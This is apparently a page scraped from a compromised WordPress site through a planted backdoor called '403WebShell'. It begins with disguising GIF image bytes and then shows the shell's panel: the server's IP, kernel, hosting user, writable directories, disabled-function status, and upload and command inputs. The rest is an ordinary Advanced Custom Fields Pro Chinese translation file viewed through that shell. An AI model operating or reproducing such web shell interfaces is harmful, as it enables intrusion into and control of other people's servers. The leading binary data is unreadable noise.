GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/pro/acf-zh_CN.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields Pro\n"
"Report-Msgid-Bugs-To: https://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2022-08-03 11:47+0000\n"
"PO-Revision-Date: 2022-08-03 13:18+0100\n"
"Last-Translator: Delicious Brains <[email protected]>\n"
"Language-Team: Amos Lee <[email protected]>\n"
"Language: zh_CN\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Poedit 3.1.1\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
"esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
"_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"X-Textdomain-Support: yes\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

#: pro/acf-pro.php:27
msgid "Advanced Custom Fields PRO"
msgstr "Advanced Custom Fields 专业版"

#: pro/blocks.php:166
msgid "Block type name is required."
msgstr ""

#: pro/blocks.php:173
msgid "Block type \"%s\" is already registered."
msgstr ""

#: pro/blocks.php:731
msgid "Switch to Edit"
msgstr ""

#: pro/blocks.php:732
msgid "Switch to Preview"
msgstr ""

#: pro/blocks.php:733
msgid "Change content alignment"
msgstr ""

#. translators: %s: Block type title
#: pro/blocks.php:736
msgid "%s settings"
msgstr ""

#: pro/blocks.php:949
msgid "This block contains no editable fields."
msgstr ""

#. translators: %s: an admin URL to the field group edit screen
#: pro/blocks.php:955
msgid ""
"Assign a <a href=\"%s\" target=\"_blank\">field group</a> to add fields to "
"this block."
msgstr ""

#: pro/options-page.php:47
msgid "Options"
msgstr "选项"

#: pro/options-page.php:77, pro/fields/class-acf-field-gallery.php:523
msgid "Update"
msgstr "更新"

#: pro/options-page.php:78
msgid "Options Updated"
msgstr "选项已更新"

#: pro/updates.php:99
msgid ""
"To enable updates, please enter your license key on the <a href=\"%1$s"
"\">Updates</a> page. If you don't have a licence key, please see <a href="
"\"%2$s\" target=\"_blank\">details & pricing</a>."
msgstr ""

#: pro/updates.php:159
msgid ""
"<b>ACF Activation Error</b>. Your defined license key has changed, but an "
"error occurred when deactivating your old licence"
msgstr ""

#: pro/updates.php:154
msgid ""
"<b>ACF Activation Error</b>. Your defined license key has changed, but an "
"error occurred when connecting to activation server"
msgstr ""

#: pro/updates.php:192
msgid "<b>ACF Activation Error</b>"
msgstr ""

#: pro/updates.php:187
msgid ""
"<b>ACF Activation Error</b>. An error occurred when connecting to activation "
"server"
msgstr ""

#: pro/updates.php:279, pro/admin/views/html-settings-updates.php:117
msgid "Check Again"
msgstr "重新检查"

#: pro/updates.php:561
msgid "<b>ACF Activation Error</b>. Could not connect to activation server"
msgstr ""

#: pro/admin/admin-options-page.php:195
msgid "Publish"
msgstr "发布"

#: pro/admin/admin-options-page.php:199
msgid ""
"No Custom Field Groups found for this options page. <a href=\"%s\">Create a "
"Custom Field Group</a>"
msgstr ""
"这个选项页上还没有自定义字段群组。<a href=\"%s\">创建自定义字段群组</a>"

#: pro/admin/admin-options-page.php:309
msgid "Edit field group"
msgstr "编辑字段组"

#: pro/admin/admin-updates.php:52
msgid "<b>Error</b>. Could not connect to update server"
msgstr "<b>错误</b>,不能连接到更新服务器"

#: pro/admin/admin-updates.php:122,
#: pro/admin/views/html-settings-updates.php:12
msgid "Updates"
msgstr "更新"

#: pro/admin/admin-updates.php:209
msgid ""
"<b>Error</b>. Could not authenticate update package. Please check again or "
"deactivate and reactivate your ACF PRO license."
msgstr ""

#: pro/admin/admin-updates.php:196
msgid ""
"<b>Error</b>. Your license for this site has expired or been deactivated. "
"Please reactivate your ACF PRO license."
msgstr ""

#: pro/fields/class-acf-field-clone.php:25
msgctxt "noun"
msgid "Clone"
msgstr ""

#: pro/fields/class-acf-field-clone.php:814
msgid "Fields"
msgstr "字段"

#: pro/fields/class-acf-field-clone.php:815
msgid "Select one or more fields you wish to clone"
msgstr ""

#: pro/fields/class-acf-field-clone.php:834
msgid "Display"
msgstr "显示"

#: pro/fields/class-acf-field-clone.php:835
msgid "Specify the style used to render the clone field"
msgstr ""

#: pro/fields/class-acf-field-clone.php:840
msgid "Group (displays selected fields in a group within this field)"
msgstr ""

#: pro/fields/class-acf-field-clone.php:841
msgid "Seamless (replaces this field with selected fields)"
msgstr ""

#: pro/fields/class-acf-field-clone.php:850,
#: pro/fields/class-acf-field-flexible-content.php:549,
#: pro/fields/class-acf-field-flexible-content.php:604,
#: pro/fields/class-acf-field-repeater.php:211
msgid "Layout"
msgstr "样式"

#: pro/fields/class-acf-field-clone.php:851
msgid "Specify the style used to render the selected fields"
msgstr ""

#: pro/fields/class-acf-field-clone.php:856,
#: pro/fields/class-acf-field-flexible-content.php:617,
#: pro/fields/class-acf-field-repeater.php:219,
#: pro/locations/class-acf-location-block.php:22
msgid "Block"
msgstr "区块"

#: pro/fields/class-acf-field-clone.php:857,
#: pro/fields/class-acf-field-flexible-content.php:616,
#: pro/fields/class-acf-field-repeater.php:218
msgid "Table"
msgstr "表"

#: pro/fields/class-acf-field-clone.php:858,
#: pro/fields/class-acf-field-flexible-content.php:618,
#: pro/fields/class-acf-field-repeater.php:220
msgid "Row"
msgstr "行"

#: pro/fields/class-acf-field-clone.php:864
msgid "Labels will be displayed as %s"
msgstr ""

#: pro/fields/class-acf-field-clone.php:869
msgid "Prefix Field Labels"
msgstr ""

#: pro/fields/class-acf-field-clone.php:880
msgid "Values will be saved as %s"
msgstr ""

#: pro/fields/class-acf-field-clone.php:885
msgid "Prefix Field Names"
msgstr ""

#: pro/fields/class-acf-field-clone.php:1001
msgid "Unknown field"
msgstr ""

#: pro/fields/class-acf-field-clone.php:1005
msgid "(no title)"
msgstr "(无标题)"

#: pro/fields/class-acf-field-clone.php:1038
msgid "Unknown field group"
msgstr ""

#: pro/fields/class-acf-field-clone.php:1042
msgid "All fields from %s field group"
msgstr ""

#: pro/fields/class-acf-field-flexible-content.php:25
msgid "Flexible Content"
msgstr "大段内容"

#: pro/fields/class-acf-field-flexible-content.php:31,
#: pro/fields/class-acf-field-repeater.php:79,
#: pro/fields/class-acf-field-repeater.php:263
msgid "Add Row"
msgstr "添加行"

#: pro/fields/class-acf-field-flexible-content.php:71,
#: pro/fields/class-acf-field-flexible-content.php:917,
#: pro/fields/class-acf-field-flexible-content.php:996
#, fuzzy
#| msgid "layout"
msgid "layout"
msgid_plural "layouts"
msgstr[0] "布局"

#: pro/fields/class-acf-field-flexible-content.php:72
msgid "layouts"
msgstr "布局"

#: pro/fields/class-acf-field-flexible-content.php:75,
#: pro/fields/class-acf-field-flexible-content.php:916,
#: pro/fields/class-acf-field-flexible-content.php:995
msgid "This field requires at least {min} {label} {identifier}"
msgstr "这个字段需要至少 {min} {label} {identifier}"

#: pro/fields/class-acf-field-flexible-content.php:76
msgid "This field has a limit of {max} {label} {identifier}"
msgstr ""

#: pro/fields/class-acf-field-flexible-content.php:79
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{available} {label} {identifier} 可用 (max {max})"

#: pro/fields/class-acf-field-flexible-content.php:80
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{required} {label} {identifier} 需要 (min {min})"

#: pro/fields/class-acf-field-flexible-content.php:83
msgid "Flexible Content requires at least 1 layout"
msgstr "灵活内容字段需要至少一个布局"

#: pro/fields/class-acf-field-flexible-content.php:276
msgid "Click the \"%s\" button below to start creating your layout"
msgstr "点击下面的 \"%s\" 按钮创建布局"

#: pro/fields/class-acf-field-flexible-content.php:410,
#: pro/fields/class-acf-repeater-table.php:354
msgid "Drag to reorder"
msgstr "拖拽排序"

#: pro/fields/class-acf-field-flexible-content.php:413
msgid "Add layout"
msgstr "添加布局"

#: pro/fields/class-acf-field-flexible-content.php:414
msgid "Duplicate layout"
msgstr ""

#: pro/fields/class-acf-field-flexible-content.php:415
msgid "Remove layout"
msgstr "删除布局"

#: pro/fields/class-acf-field-flexible-content.php:416,
#: pro/fields/class-acf-repeater-table.php:369
msgid "Click to toggle"
msgstr ""

#: pro/fields/class-acf-field-flexible-content.php:551
msgid "Reorder Layout"
msgstr "重排序布局"

#: pro/fields/class-acf-field-flexible-content.php:551
msgid "Reorder"
msgstr "重排序"

#: pro/fields/class-acf-field-flexible-content.php:552
msgid "Delete Layout"
msgstr "删除布局"

#: pro/fields/class-acf-field-flexible-content.php:552
msgid "Delete"
msgstr "删除"

#: pro/fields/class-acf-field-flexible-content.php:553
msgid "Duplicate Layout"
msgstr "复制布局"

#: pro/fields/class-acf-field-flexible-content.php:553
msgid "Duplicate"
msgstr "复制"

#: pro/fields/class-acf-field-flexible-content.php:554
msgid "Add New Layout"
msgstr "添加新布局"

#: pro/fields/class-acf-field-flexible-content.php:554
msgid "Add New"
msgstr "新建"

#: pro/fields/class-acf-field-flexible-content.php:581
msgid "Label"
msgstr "标签"

#: pro/fields/class-acf-field-flexible-content.php:597
msgid "Name"
msgstr "名称"

#: pro/fields/class-acf-field-flexible-content.php:635
msgid "Min"
msgstr "最小"

#: pro/fields/class-acf-field-flexible-content.php:650
msgid "Max"
msgstr "最大"

#: pro/fields/class-acf-field-flexible-content.php:679,
#: pro/fields/class-acf-field-repeater.php:259
msgid "Button Label"
msgstr "按钮标签"

#: pro/fields/class-acf-field-flexible-content.php:690
msgid "Minimum Layouts"
msgstr "最小布局"

#: pro/fields/class-acf-field-flexible-content.php:701
msgid "Maximum Layouts"
msgstr "最大布局"

#: pro/fields/class-acf-field-flexible-content.php:1704,
#: pro/fields/class-acf-field-repeater.php:861
msgid "%s must be of type array or null."
msgstr ""

#: pro/fields/class-acf-field-flexible-content.php:1715
msgid "%1$s must contain at least %2$s %3$s layout."
msgid_plural "%1$s must contain at least %2$s %3$s layouts."
msgstr[0] ""

#: pro/fields/class-acf-field-flexible-content.php:1731
msgid "%1$s must contain at most %2$s %3$s layout."
msgid_plural "%1$s must contain at most %2$s %3$s layouts."
msgstr[0] ""

#: pro/fields/class-acf-field-gallery.php:25
msgid "Gallery"
msgstr "相册"

#: pro/fields/class-acf-field-gallery.php:73
msgid "Add Image to Gallery"
msgstr "添加图片到相册"

#: pro/fields/class-acf-field-gallery.php:74
msgid "Maximum selection reached"
msgstr "已到最大选择"

#: pro/fields/class-acf-field-gallery.php:320
msgid "Length"
msgstr "长度"

#: pro/fields/class-acf-field-gallery.php:335
msgid "Edit"
msgstr "编辑"

#: pro/fields/class-acf-field-gallery.php:336,
#: pro/fields/class-acf-field-gallery.php:491
msgid "Remove"
msgstr "删除"

#: pro/fields/class-acf-field-gallery.php:352
msgid "Title"
msgstr "标题"

#: pro/fields/class-acf-field-gallery.php:364
msgid "Caption"
msgstr "标题"

#: pro/fields/class-acf-field-gallery.php:376
msgid "Alt Text"
msgstr ""

#: pro/fields/class-acf-field-gallery.php:388
msgid "Description"
msgstr "描述"

#: pro/fields/class-acf-field-gallery.php:500
msgid "Add to gallery"
msgstr "添加到相册"

#: pro/fields/class-acf-field-gallery.php:504
msgid "Bulk actions"
msgstr "批量动作"

#: pro/fields/class-acf-field-gallery.php:505
msgid "Sort by date uploaded"
msgstr "按上传日期排序"

#: pro/fields/class-acf-field-gallery.php:506
msgid "Sort by date modified"
msgstr "按修改日期排序"

#: pro/fields/class-acf-field-gallery.php:507
msgid "Sort by title"
msgstr "按标题排序"

#: pro/fields/class-acf-field-gallery.php:508
msgid "Reverse current order"
msgstr "颠倒当前排序"

#: pro/fields/class-acf-field-gallery.php:520
msgid "Close"
msgstr "关闭"

#: pro/fields/class-acf-field-gallery.php:573
msgid "Return Format"
msgstr "返回格式"

#: pro/fields/class-acf-field-gallery.php:579
msgid "Image Array"
msgstr "图像数组"

#: pro/fields/class-acf-field-gallery.php:580
msgid "Image URL"
msgstr "图像 URL"

#: pro/fields/class-acf-field-gallery.php:581
msgid "Image ID"
msgstr "图像ID"

#: pro/fields/class-acf-field-gallery.php:590
msgid "Preview Size"
msgstr "预览图大小"

#: pro/fields/class-acf-field-gallery.php:602
msgid "Insert"
msgstr ""

#: pro/fields/class-acf-field-gallery.php:603
msgid "Specify where new attachments are added"
msgstr ""

#: pro/fields/class-acf-field-gallery.php:607
msgid "Append to the end"
msgstr ""

#: pro/fields/class-acf-field-gallery.php:608
msgid "Prepend to the beginning"
msgstr ""

#: pro/fields/class-acf-field-gallery.php:617
msgid "Library"
msgstr "库"

#: pro/fields/class-acf-field-gallery.php:618
msgid "Limit the media library choice"
msgstr "限制媒体库的选择"

#: pro/fields/class-acf-field-gallery.php:623,
#: pro/locations/class-acf-location-block.php:66
msgid "All"
msgstr "所有"

#: pro/fields/class-acf-field-gallery.php:624
msgid "Uploaded to post"
msgstr "上传到内容"

#: pro/fields/class-acf-field-gallery.php:633
msgid "Minimum Selection"
msgstr "最小选择"

#: pro/fields/class-acf-field-gallery.php:644
msgid "Maximum Selection"
msgstr "最大选择"

#: pro/fields/class-acf-field-gallery.php:655
msgid "Minimum"
msgstr "最小"

#: pro/fields/class-acf-field-gallery.php:656,
#: pro/fields/class-acf-field-gallery.php:693
msgid "Restrict which images can be uploaded"
msgstr "限制可以上传的图像"

#: pro/fields/class-acf-field-gallery.php:659,
#: pro/fields/class-acf-field-gallery.php:696
msgid "Width"
msgstr "宽度"

#: pro/fields/class-acf-field-gallery.php:670,
#: pro/fields/class-acf-field-gallery.php:707
msgid "Height"
msgstr "高度"

#: pro/fields/class-acf-field-gallery.php:682,
#: pro/fields/class-acf-field-gallery.php:719
msgid "File size"
msgstr "文件尺寸"

#: pro/fields/class-acf-field-gallery.php:692
msgid "Maximum"
msgstr "最大"

#: pro/fields/class-acf-field-gallery.php:729
msgid "Allowed file types"
msgstr "允许的文字类型"

#: pro/fields/class-acf-field-gallery.php:730
msgid "Comma separated list. Leave blank for all types"
msgstr "用英文逗号分隔开,留空则为全部类型"

#: pro/fields/class-acf-field-gallery.php:832
msgid "%1$s requires at least %2$s selection"
msgid_plural "%1$s requires at least %2$s selections"
msgstr[0] ""

#: pro/fields/class-acf-field-repeater.php:22
msgid "Repeater"
msgstr "重复器"

#: pro/fields/class-acf-field-repeater.php:53,
#: pro/fields/class-acf-field-repeater.php:423
msgid "Minimum rows reached ({min} rows)"
msgstr "已到最小行数 ({min} 行)"

#: pro/fields/class-acf-field-repeater.php:54
msgid "Maximum rows reached ({max} rows)"
msgstr "已到最大行数 ({max} 行)"

#: pro/fields/class-acf-field-repeater.php:55
msgid "Error loading page"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:141
msgid "Sub Fields"
msgstr "子字段"

#: pro/fields/class-acf-field-repeater.php:174
msgid "Collapsed"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:175
msgid "Select a sub field to show when row is collapsed"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:187
msgid "Minimum Rows"
msgstr "最小行数"

#: pro/fields/class-acf-field-repeater.php:199
msgid "Maximum Rows"
msgstr "最大行数"

#: pro/fields/class-acf-field-repeater.php:228
msgid "Pagination"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:229
msgid "Useful for fields with a large number of rows."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:240
msgid "Rows Per Page"
msgstr ""

#: pro/fields/class-acf-field-repeater.php:241
msgid "Set the number of rows to be displayed on a page."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:945
msgid "Invalid nonce."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:959
msgid "Invalid field key."
msgstr ""

#: pro/fields/class-acf-field-repeater.php:968
msgid "There was an error retrieving the field."
msgstr ""

#: pro/fields/class-acf-repeater-table.php:389
msgid "Add row"
msgstr "添加行"

#: pro/fields/class-acf-repeater-table.php:390
msgid "Duplicate row"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:391
msgid "Remove row"
msgstr "删除行"

#: pro/fields/class-acf-repeater-table.php:435,
#: pro/fields/class-acf-repeater-table.php:452
msgid "Current Page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:444
msgid "First page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:448
msgid "Previous page"
msgstr ""

#. translators: 1: Current page, 2: Total pages.
#: pro/fields/class-acf-repeater-table.php:457
msgctxt "paging"
msgid "%1$s of %2$s"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:465
msgid "Next page"
msgstr ""

#: pro/fields/class-acf-repeater-table.php:469
msgid "Last page"
msgstr ""

#: pro/locations/class-acf-location-block.php:71
msgid "No block types exist"
msgstr ""

#: pro/locations/class-acf-location-options-page.php:22
msgid "Options Page"
msgstr "选项页面"

#: pro/locations/class-acf-location-options-page.php:70
msgid "No options pages exist"
msgstr "还没有选项页面"

#: pro/admin/views/html-settings-updates.php:6
msgid "Deactivate License"
msgstr "关闭许可证"

#: pro/admin/views/html-settings-updates.php:6
msgid "Activate License"
msgstr "激活许可证"

#: pro/admin/views/html-settings-updates.php:16
msgid "License Information"
msgstr ""

#: pro/admin/views/html-settings-updates.php:34
msgid ""
"To unlock updates, please enter your license key below. If you don't have a "
"licence key, please see <a href=\"%s\" target=\"_blank\">details & pricing</"
"a>."
msgstr ""

#: pro/admin/views/html-settings-updates.php:41
msgid "License Key"
msgstr "许可证号"

#: pro/admin/views/html-settings-updates.php:22
msgid "Your license key is defined in wp-config.php."
msgstr ""

#: pro/admin/views/html-settings-updates.php:29
msgid "Retry Activation"
msgstr ""

#: pro/admin/views/html-settings-updates.php:76
msgid "Update Information"
msgstr "更新信息"

#: pro/admin/views/html-settings-updates.php:83
msgid "Current Version"
msgstr "当前版本"

#: pro/admin/views/html-settings-updates.php:91
msgid "Latest Version"
msgstr "最新版本"

#: pro/admin/views/html-settings-updates.php:99
msgid "Update Available"
msgstr "可用更新"

#: pro/admin/views/html-settings-updates.php:116
msgid "No"
msgstr "否"

#: pro/admin/views/html-settings-updates.php:104
msgid "Yes"
msgstr "是"

#: pro/admin/views/html-settings-updates.php:111
